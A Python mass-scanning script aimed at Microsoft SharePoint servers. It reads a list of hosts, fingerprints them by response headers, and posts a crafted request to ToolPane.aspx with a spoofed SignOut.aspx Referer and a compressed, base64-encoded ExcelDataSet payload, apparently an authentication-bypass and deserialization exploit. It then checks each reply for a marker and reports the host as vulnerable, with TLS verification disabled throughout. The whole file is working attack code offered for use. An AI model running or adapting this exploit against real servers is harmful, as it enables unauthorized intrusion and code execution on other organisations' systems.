import requests, re, base64, gzip, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target):

    try:
        r = requests.get('https://'+target,headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0'},timeout=10)
    except:
        return '\t\t \033[0;31m Not Vulnerable \033[0m','ERR','Unknown'
    k = r.headers.keys()

    # Checking if the website uses sharepoint
    if 'X-SharePointHealthScore' not in k or 'MicrosoftSharePointTeamServices' not in k or 'X-MS-InvokeApp' not in k:
        return '\t\t \033[0;31m Not Vulnerable \033[0m','200','Unknown'
    
    try:
        version = r.headers['MicrosoftSharePointTeamServices']
    except:
        version = 'Unknown'

    url = f'https://{target}/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx'
    headers = {
        'Referer': '/_layouts/SignOut.aspx',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    data = {
        'MSOTlPn_Uri': f'https://{target}',
        'MSOTlPn_DWP': '''<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
    <%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
    <asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
    <ProgressTemplate>
        <div class="divWaiting">
        <Scorecard:ExcelDataSet CompressedDataTable="H4sIAADEfmgA/4WRX2uzMBTG7/0Ukvs06ihjQb3ZbgobG1TYeO9OY6yBJpGTdHbfvudVu44x6FUkPn9+PEnK1nTdHuV8gE1P9uCCtKGFCBU7opNB9dpC4NYo9MF3kStvJen4rGKLZ4645bkU8c+c1Umalp33/0/62gGmC45pK9bA7qBZOpdI9OMrtpryM3ZR9RAee3B7HSpmXNAYdTuFTnGDVwvZKZiK9TEOUohxHFfj3crjXhRZlouPl+ftBMspIYJTVHlxEcQt13cdFTY6xHeEYdB4vaX7jet8vXERj8S/VeCcxicdtYrGuzf4OnhoSzGpftoaYykQ7FAXWbHm2T0v8qYoZP4g1+t/pbj+vyKIPxhKQUssEwvaeFpdTLOX4tfz18kZONVdDRICAAA=" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
        </div>
    </ProgressTemplate>
    </asp:UpdateProgress>'''
    }

    try:
        response = requests.post(
        url,
        headers=headers,
        data=data,
        verify=False,
        timeout=10
    )
    except:
        return '\t\t \033[0;31m Not Vulnerable \033[0m','ERR',version

    input_text = response.text
    pattern = r'CompressedDataTable=&quot;([^&]+)&quot;'
    match = re.search(pattern, input_text)
    if not match:
        return '\t\t \033[0;31m Not Vulnerable \033[0m',response.status_code,version

    base64_str = match.group(1)

    try:
        decoded = base64.b64decode(base64_str, validate=True)
        decompressed = gzip.decompress(decoded)
        decoded_str = decompressed.decode('utf-8', errors='ignore')
        patterns = [
            'IntruderScannerDetectionPayload',
            'ExcelDataSet',
            'divWaiting',
            'ProgressTemplate',
            'Scorecard'
        ]
        for line in decoded_str.splitlines():
            if any(re.search(p, line, re.IGNORECASE) for p in patterns):
                if '<Info>IntruderScannerDetectionPayload</Info>' in line:
                    return '\t\t \033[0;32m Vulnerable \033[0m',response.status_code,version

    except:
        return '\t\t \033[0;31m Not Vulnerable \033[0m',response.status_code,version
    

file = input('Target file: ')
file = open(file,'r',encoding='utf-8').read().splitlines()
for t in file:
    try:
        t = t.split('//')[1].split('/')[0]
    except:
        pass
    r = check(t)
    if r[1] == 200:
        print('['+str(r[1])+'] '+t+'\t [\033[1;34m'+r[2]+'\033[0m]'+r[0])
    else:
        print('['+str(r[1])+'] '+t+r[0])
